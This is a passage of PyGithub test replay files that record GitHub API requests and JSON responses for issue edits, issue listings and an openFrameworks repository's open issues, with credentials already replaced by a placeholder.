PyGithub","user":{"login":"farrd","id":1387834,"avatar_url":"https://gravatar.com/avatar/3281acd8cd12337bfba7577736ae663e?d=https%3A%2F%2Fidenticons.github.com%2Fe57fcb2ce01df0e0a8305b6fff8070d8.png&r=x","gravatar_id":"3281acd8cd12337bfba7577736ae663e","url":"https://api.github.com/users/farrd","html_url":"https://github.com/farrd","followers_url":"https://api.github.com/users/farrd/followers","following_url":"https://api.github.com/users/farrd/following{/other_user}","gists_url":"https://api.github.com/users/farrd/gists{/gist_id}","starred_url":"https://api.github.com/users/farrd/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/farrd/subscriptions","organizations_url":"https://api.github.com/users/farrd/orgs","repos_url":"https://api.github.com/users/farrd/repos","events_url":"https://api.github.com/users/farrd/events{/privacy}","received_events_url":"https://api.github.com/users/farrd/received_events","type":"User","site_admin":false},"labels":[],"state":"open","assignee":{"login":"farrd","id":1387834,"avatar_url":"https://gravatar.com/avatar/3281acd8cd12337bfba7577736ae663e?d=https%3A%2F%2Fidenticons.github.com%2Fe57fcb2ce01df0e0a8305b6fff8070d8.png&r=x","gravatar_id":"3281acd8cd12337bfba7577736ae663e","url":"https://api.github.com/users/farrd","html_url":"https://github.com/farrd","followers_url":"https://api.github.com/users/farrd/followers","following_url":"https://api.github.com/users/farrd/following{/other_user}","gists_url":"https://api.github.com/users/farrd/gists{/gist_id}","starred_url":"https://api.github.com/users/farrd/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/farrd/subscriptions","organizations_url":"https://api.github.com/users/farrd/orgs","repos_url":"https://api.github.com/users/farrd/repos","events_url":"https://api.github.com/users/farrd/events{/privacy}","received_events_url":"https://api.github.com/users/farrd/received_events","type":"User","site_admin":false},"milestone":null,"comments":0,"created_at":"2013-12-16T23:51:56Z","updated_at":"2013-12-16T23:51:56Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":null,"closed_by":null} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue214.testEditIssue.txt0000644000175100001660000001427214756101563023041 0ustar00runnerdockerhttps PATCH api.github.com None /repos/farrd/PyGithub/issues/1 {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"assignee": "farrd"} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4824'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'A99159CE:043C:7377930:52AF921D'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('content-length', '2575'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('etag', '"fa6d38417e4f455619cdfe179b7b1e40"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 16 Dec 2013 23:51:58 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1387240227')] {"url":"https://api.github.com/repos/farrd/PyGithub/issues/1","labels_url":"https://api.github.com/repos/farrd/PyGithub/issues/1/labels{/name}","comments_url":"https://api.github.com/repos/farrd/PyGithub/issues/1/comments","events_url":"https://api.github.com/repos/farrd/PyGithub/issues/1/events","html_url":"https://github.com/farrd/PyGithub/issues/1","id":24389294,"number":1,"title":"Test Issue","user":{"login":"farrd","id":1387834,"avatar_url":"https://gravatar.com/avatar/3281acd8cd12337bfba7577736ae663e?d=https%3A%2F%2Fidenticons.github.com%2Fe57fcb2ce01df0e0a8305b6fff8070d8.png&r=x","gravatar_id":"3281acd8cd12337bfba7577736ae663e","url":"https://api.github.com/users/farrd","html_url":"https://github.com/farrd","followers_url":"https://api.github.com/users/farrd/followers","following_url":"https://api.github.com/users/farrd/following{/other_user}","gists_url":"https://api.github.com/users/farrd/gists{/gist_id}","starred_url":"https://api.github.com/users/farrd/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/farrd/subscriptions","organizations_url":"https://api.github.com/users/farrd/orgs","repos_url":"https://api.github.com/users/farrd/repos","events_url":"https://api.github.com/users/farrd/events{/privacy}","received_events_url":"https://api.github.com/users/farrd/received_events","type":"User","site_admin":false},"labels":[],"state":"open","assignee":{"login":"farrd","id":1387834,"avatar_url":"https://gravatar.com/avatar/3281acd8cd12337bfba7577736ae663e?d=https%3A%2F%2Fidenticons.github.com%2Fe57fcb2ce01df0e0a8305b6fff8070d8.png&r=x","gravatar_id":"3281acd8cd12337bfba7577736ae663e","url":"https://api.github.com/users/farrd","html_url":"https://github.com/farrd","followers_url":"https://api.github.com/users/farrd/followers","following_url":"https://api.github.com/users/farrd/following{/other_user}","gists_url":"https://api.github.com/users/farrd/gists{/gist_id}","starred_url":"https://api.github.com/users/farrd/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/farrd/subscriptions","organizations_url":"https://api.github.com/users/farrd/orgs","repos_url":"https://api.github.com/users/farrd/repos","events_url":"https://api.github.com/users/farrd/events{/privacy}","received_events_url":"https://api.github.com/users/farrd/received_events","type":"User","site_admin":false},"milestone":null,"comments":0,"created_at":"2013-12-16T23:36:11Z","updated_at":"2013-12-16T23:51:58Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"","closed_by":null} https PATCH api.github.com None /repos/farrd/PyGithub/issues/1 {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"assignee": ""} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4823'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'A99159CE:043C:7377A01:52AF921E'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('content-length', '1621'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('etag', '"f6bb6e7859e5f62cdc99f6fc6cbe0c09"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 16 Dec 2013 23:51:58 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1387240227')] {"url":"https://api.github.com/repos/farrd/PyGithub/issues/1","labels_url":"https://api.github.com/repos/farrd/PyGithub/issues/1/labels{/name}","comments_url":"https://api.github.com/repos/farrd/PyGithub/issues/1/comments","events_url":"https://api.github.com/repos/farrd/PyGithub/issues/1/events","html_url":"https://github.com/farrd/PyGithub/issues/1","id":24389294,"number":1,"title":"Test Issue","user":{"login":"farrd","id":1387834,"avatar_url":"https://gravatar.com/avatar/3281acd8cd12337bfba7577736ae663e?d=https%3A%2F%2Fidenticons.github.com%2Fe57fcb2ce01df0e0a8305b6fff8070d8.png&r=x","gravatar_id":"3281acd8cd12337bfba7577736ae663e","url":"https://api.github.com/users/farrd","html_url":"https://github.com/farrd","followers_url":"https://api.github.com/users/farrd/followers","following_url":"https://api.github.com/users/farrd/following{/other_user}","gists_url":"https://api.github.com/users/farrd/gists{/gist_id}","starred_url":"https://api.github.com/users/farrd/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/farrd/subscriptions","organizations_url":"https://api.github.com/users/farrd/orgs","repos_url":"https://api.github.com/users/farrd/repos","events_url":"https://api.github.com/users/farrd/events{/privacy}","received_events_url":"https://api.github.com/users/farrd/received_events","type":"User","site_admin":false},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2013-12-16T23:36:11Z","updated_at":"2013-12-16T23:51:58Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"","closed_by":null} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue214.testGetIssues.txt0000644000175100001660000001404414756101563023053 0ustar00runnerdockerhttps GET api.github.com None /repos/farrd/PyGithub/issues?assignee=farrd {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4815'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'A99159CE:2C50:65E63AF:52AF923A'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('content-length', '5153'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('etag', '"3758de592b6c58f9de00b937c89b4db4"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 16 Dec 2013 23:52:27 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1387240227')] [{"url":"https://api.github.com/repos/farrd/PyGithub/issues/3","labels_url":"https://api.github.com/repos/farrd/PyGithub/issues/3/labels{/name}","comments_url":"https://api.github.com/repos/farrd/PyGithub/issues/3/comments","events_url":"https://api.github.com/repos/farrd/PyGithub/issues/3/events","html_url":"https://github.com/farrd/PyGithub/issues/3","id":24390063,"number":3,"title":"Issue created by PyGithub","user":{"login":"farrd","id":1387834,"avatar_url":"https://gravatar.com/avatar/3281acd8cd12337bfba7577736ae663e?d=https%3A%2F%2Fidenticons.github.com%2Fe57fcb2ce01df0e0a8305b6fff8070d8.png&r=x","gravatar_id":"3281acd8cd12337bfba7577736ae663e","url":"https://api.github.com/users/farrd","html_url":"https://github.com/farrd","followers_url":"https://api.github.com/users/farrd/followers","following_url":"https://api.github.com/users/farrd/following{/other_user}","gists_url":"https://api.github.com/users/farrd/gists{/gist_id}","starred_url":"https://api.github.com/users/farrd/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/farrd/subscriptions","organizations_url":"https://api.github.com/users/farrd/orgs","repos_url":"https://api.github.com/users/farrd/repos","events_url":"https://api.github.com/users/farrd/events{/privacy}","received_events_url":"https://api.github.com/users/farrd/received_events","type":"User","site_admin":false},"labels":[],"state":"open","assignee":{"login":"farrd","id":1387834,"avatar_url":"https://gravatar.com/avatar/3281acd8cd12337bfba7577736ae663e?d=https%3A%2F%2Fidenticons.github.com%2Fe57fcb2ce01df0e0a8305b6fff8070d8.png&r=x","gravatar_id":"3281acd8cd12337bfba7577736ae663e","url":"https://api.github.com/users/farrd","html_url":"https://github.com/farrd","followers_url":"https://api.github.com/users/farrd/followers","following_url":"https://api.github.com/users/farrd/following{/other_user}","gists_url":"https://api.github.com/users/farrd/gists{/gist_id}","starred_url":"https://api.github.com/users/farrd/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/farrd/subscriptions","organizations_url":"https://api.github.com/users/farrd/orgs","repos_url":"https://api.github.com/users/farrd/repos","events_url":"https://api.github.com/users/farrd/events{/privacy}","received_events_url":"https://api.github.com/users/farrd/received_events","type":"User","site_admin":false},"milestone":null,"comments":0,"created_at":"2013-12-16T23:51:56Z","updated_at":"2013-12-16T23:51:56Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":null},{"url":"https://api.github.com/repos/farrd/PyGithub/issues/2","labels_url":"https://api.github.com/repos/farrd/PyGithub/issues/2/labels{/name}","comments_url":"https://api.github.com/repos/farrd/PyGithub/issues/2/comments","events_url":"https://api.github.com/repos/farrd/PyGithub/issues/2/events","html_url":"https://github.com/farrd/PyGithub/issues/2","id":24389967,"number":2,"title":"Issue created by PyGithub","user":{"login":"farrd","id":1387834,"avatar_url":"https://gravatar.com/avatar/3281acd8cd12337bfba7577736ae663e?d=https%3A%2F%2Fidenticons.github.com%2Fe57fcb2ce01df0e0a8305b6fff8070d8.png&r=x","gravatar_id":"3281acd8cd12337bfba7577736ae663e","url":"https://api.github.com/users/farrd","html_url":"https://github.com/farrd","followers_url":"https://api.github.com/users/farrd/followers","following_url":"https://api.github.com/users/farrd/following{/other_user}","gists_url":"https://api.github.com/users/farrd/gists{/gist_id}","starred_url":"https://api.github.com/users/farrd/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/farrd/subscriptions","organizations_url":"https://api.github.com/users/farrd/orgs","repos_url":"https://api.github.com/users/farrd/repos","events_url":"https://api.github.com/users/farrd/events{/privacy}","received_events_url":"https://api.github.com/users/farrd/received_events","type":"User","site_admin":false},"labels":[],"state":"open","assignee":{"login":"farrd","id":1387834,"avatar_url":"https://gravatar.com/avatar/3281acd8cd12337bfba7577736ae663e?d=https%3A%2F%2Fidenticons.github.com%2Fe57fcb2ce01df0e0a8305b6fff8070d8.png&r=x","gravatar_id":"3281acd8cd12337bfba7577736ae663e","url":"https://api.github.com/users/farrd","html_url":"https://github.com/farrd","followers_url":"https://api.github.com/users/farrd/followers","following_url":"https://api.github.com/users/farrd/following{/other_user}","gists_url":"https://api.github.com/users/farrd/gists{/gist_id}","starred_url":"https://api.github.com/users/farrd/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/farrd/subscriptions","organizations_url":"https://api.github.com/users/farrd/orgs","repos_url":"https://api.github.com/users/farrd/repos","events_url":"https://api.github.com/users/farrd/events{/privacy}","received_events_url":"https://api.github.com/users/farrd/received_events","type":"User","site_admin":false},"milestone":null,"comments":0,"created_at":"2013-12-16T23:49:47Z","updated_at":"2013-12-16T23:49:47Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":null}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue216.setUp.txt0000644000175100001660000000532014756101563021337 0ustar00runnerdockerhttps GET api.github.com None /users/openframeworks {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4929'), ('content-length', '564'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"cddd0710dc9490553aecd937e15d1136"'), ('date', 'Tue, 29 May 2012 19:36:56 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"User","hireable":false,"url":"https://api.github.com/users/openframeworks","html_url":"https://github.com/openframeworks","public_gists":0,"blog":null,"bio":null,"public_repos":12,"company":null,"gravatar_id":"a858611b044a8302ab14cfe752e17369","login":"openframeworks","email":"","followers":399,"name":null,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","created_at":"2009-10-21T21:54:37Z","location":null,"id":142866,"following":4} https GET api.github.com None /repos/openframeworks/openFrameworks {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4928'), ('content-length', '1253'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e7459f63683768d5b53fc4b246d13a10"'), ('date', 'Tue, 29 May 2012 19:36:56 GMT'), ('content-type', 'application/json; charset=utf-8')] {"clone_url":"https://github.com/openframeworks/openFrameworks.git","has_downloads":true,"watchers":1745,"updated_at":"2012-05-29T19:23:07Z","permissions":{"pull":true,"admin":false,"push":false},"homepage":"http://openframeworks.cc","url":"https://api.github.com/repos/openframeworks/openFrameworks","html_url":"https://github.com/openframeworks/openFrameworks","has_wiki":true,"has_issues":true,"fork":false,"forks":349,"size":4232,"git_url":"git://github.com/openframeworks/openFrameworks.git","private":false,"open_issues":333,"svn_url":"https://github.com/openframeworks/openFrameworks","owner":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","login":"openframeworks","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142866},"name":"openFrameworks","mirror_url":null,"language":"C","description":"OpenFrameworks is a cross platform open source toolkit for creative coding in C++.","ssh_url":"git@github.com:openframeworks/openFrameworks.git","pushed_at":"2012-05-29T19:23:07Z","created_at":"2009-10-21T21:55:54Z","id":345337,"full_name":"openframeworks/openFrameworks"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue216.testIteration.txt0000644000175100001660000227572314756101563023117 0ustar00runnerdockerhttps GET api.github.com None /repos/openframeworks/openFrameworks/issues {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4927'), ('content-length', '52085'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('Link', '; rel="next", ; rel="last"'), ('etag', '"5e8867ffb4e7630e852b2b231f3b9cdb"'), ('date', 'Tue, 29 May 2012 19:36:57 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-27T18:11:17Z","body":"Since more and more of the OF Core now relies on Poco (ie ofThread, etc) does OF_USING_POCO make sense anymore?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1280","comments":0,"milestone":null,"number":1280,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1280","assignee":null,"title":"deprecate OF_USING_POCO?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-27T18:03:23Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"danomatika","id":480637},"id":4772349,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-28T08:08:24Z","body":"There occurs a weir glitch when compiling the ofShader example with my HD Graphics 3000 (288 Mb) (Mac osx 10.7.4 - Mac Mini - i5 - 2.3Ghz)\n\nI was able to get rid of the glitch by replacing \"gl_FragColor = gl_Color;\" with \"gl_FragColor = 255.0;\" or any other number.\nAnybody knows a reason for the glitch / proper solution?\n\nScreenshot: http://goo.gl/Xdf74\nOpenGL capacities on different graphic cards on apple machines: http://goo.gl/FGQ2N","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1279","comments":2,"milestone":null,"number":1279,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1279","assignee":null,"title":"ofShader example with HD Graphics 3000 issue","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-26T19:27:56Z","state":"open","user":{"url":"https://api.github.com/users/subtiv","gravatar_id":"837cfe96365c031130a46311eb11d86a","avatar_url":"https://secure.gravatar.com/avatar/837cfe96365c031130a46311eb11d86a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"subtiv","id":1012684},"id":4767675,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-25T18:39:02Z","body":"produces an error on app exit or tex destruction.\n\n OF: OF_LOG_ERROR: trying to delete a non indexed texture, something weird is happening. Deleting anyway\n\nThis is because retain(int id) is a static function in ofTexture.cpp. So we can't retain the depthStencilTexture.\n\nThis suggest we should move the texture allocation of the depth / stencil texture to ofTexture - something which is not possible at the moment. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1277","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1277,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1277","assignee":null,"title":"ofFbo can't retain depthStencil Texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-05-25T18:37:46Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":4758608,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-22T21:26:57Z","body":"\nthe offending line is: \n\nif( speed.getValue() != preSpeed ){\n\nwhich is evaluating as true even through the slider is not touched (float equality test, etc). \n\nif we alter it to something like: \n\nif( fabs(speed.getValue() - preSpeed) > 0.0001 ){\n\nthe code runs fine. probably nicer to add a \"value changed()\" functionality to the slider object though or use EPSILON, etc. \n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1271","comments":0,"milestone":null,"number":1271,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1271","assignee":null,"title":"periodic signal example doesn't run well on windows / cb (float equality error)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-05-22T21:26:57Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":4700182,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-22T16:41:21Z","body":"There's some error that appears on linux systems running the project generator to make VS examples, where the debug and release libs for opencv get added badly to the vs project: \n\n\t%(AdditionalDependencies);opencv_highgui231d.lib;opencv_calib3d231.lib;opencv_imgproc231d.lib;opencv_haartraining_engined.lib;opencv_gpu231d.lib;opencv_flann231.lib;opencv_contrib231d.lib;opencv_video231d.lib;opencv_objdetect231d.lib;zlib.lib;opencv_core231d.lib;opencv_contrib231.lib;opencv_ml231d.lib;opencv_features2d231.lib;opencv_core231.lib;opencv_gpu231.lib;opencv_legacy231d.lib;opencv_haartraining_engine.lib;opencv_highgui231.lib;opencv_ml231.lib;opencv_imgproc231.lib;opencv_objdetect231.lib;opencv_legacy231.lib;opencv_video231.lib\n\t\t\t\t%(AdditionalLibraryDirectories);..\\..\\..\\addons\\ofxOpenCv\\libs\\opencv\\lib\\vs2010\n\nthis doesn't seem to be the case on osx or windows, which produces correct results: \n\n\t%(AdditionalDependencies);opencv_calib3d231.lib;opencv_contrib231.lib;opencv_core231.lib;opencv_features2d231.lib;opencv_flann231.lib;opencv_gpu231.lib;opencv_haartraining_engine.lib;opencv_highgui231.lib;opencv_imgproc231.lib;opencv_legacy231.lib;opencv_ml231.lib;opencv_objdetect231.lib;opencv_video231.lib;zlib.lib\n\nwould be good to look at the logic of \"visualStudioProject::addAddon()\" and see if we can fix this.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1268","comments":9,"milestone":null,"number":1268,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1268","assignee":null,"title":"project generator - bad libs for VS / opencv examples","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-05-20T21:50:24Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":4662873,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T00:43:37Z","body":"I woud love some eyes on ofFbo would be great to get it cleaned up and standardized for 0072. \nRight now there are a ton of #ifdefs and some very hard to follow logic, which makes bug fixing quite difficult especially on OPENGL_ES\n\nsee: https://gist.github.com/2711815\n\n@elliotwoods @arturoc @memotv @damiannz @ofZach @kylemcdonald \n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1263","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1263,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1263","assignee":null,"title":"ofFbo.cpp is a huge mess! ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-16T16:27:30Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":4608132,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T14:29:02Z","body":"I added a .mailmap file to the repo to correctly collate all the contributors in spite of changing nick names/email addresses. This is useful when trying to identify contributors for a changelog or similar, or when using the git logging functions like shortlog.\n\nSee the before/after situation here: https://gist.github.com/2710366\n\nI have respected privacy and only used those real names that people have already given in a git ID in the repo. Mainly this addition only associates the different email addresses to one user. @arturoc wins the prize of most used emails! :-)\nThe list is pretty complete, I only had difficulties to associate some IDs to the correct Zachs, since it was not clear for some if @ofZach or @stfj (Zach Gage) was the contributor. Those were left as-is.\n\nIf anybody has objections to their various email being united under their name, please say so and I will correct/remove the relevant entries.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1262","comments":2,"milestone":null,"number":1262,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1262","assignee":null,"title":"Add .mailmap for contributor collation","labels":[],"closed_at":null,"created_at":"2012-05-16T13:44:32Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"id":4604661,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1262.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1262","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1262.patch"}},{"updated_at":"2012-05-16T09:35:31Z","body":"Address #375.\n\nAdd setVolumef(float). Also more clearly define volume ranges (int is 0..255, float is 0..1) and more robust clamping of volume argument.\n\nThis has not been tested on Linux or 